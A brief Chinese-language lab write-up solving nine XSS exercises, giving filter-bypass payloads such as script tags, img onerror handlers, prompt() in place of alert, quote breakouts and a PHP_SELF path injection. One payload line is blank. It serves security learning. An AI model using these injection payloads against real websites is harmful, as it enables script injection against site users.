Example 1
很简单,没有任何过滤
1 | name=<script>alert("xss")</script> |
Example 2
可以看到这里过滤了 script 标签
发现图片标签没过滤,构造
1 |
|
Example 3
构造
1 | ?name=<img onerror=alert(/xss/) src > |
和2一样
Example 4
还是用
1 | ?name=<img onerror=alert(/xss/) src > |
Example 5
有点脑残,似乎过滤了 alert 只要输入alert就error
我们可以用prompt(1),与confirm(1)来弹窗
1 | ?name= <script>prompt(1)</script> |
Example 6
这里输入是做js变量,用双引号绕过
1 | ?name=";alert(1)//" |
Example 7
和6差多,就是把双引号改单引号
1 | ?name=';alert(1)// |
Example 8
表单经过了严格的过滤
猜测表单部分 $_SERVER[PHP_SELF] 构造
1 | example8.php/"><script>alert(1)</script> |
Example 9
1 | document.write(location.hash.substring(1)); |
官方答案就是 <script>alert(1)</script>
似乎不行,看到了不通浏览器的url编码差异,而这一题就涉及到这一不同浏览器的特性,这里我一开始没有成功弹窗就是因为chrome与firefox编码了<>这两个特殊符号,当时就是没有测试ie,今天特地测试了一下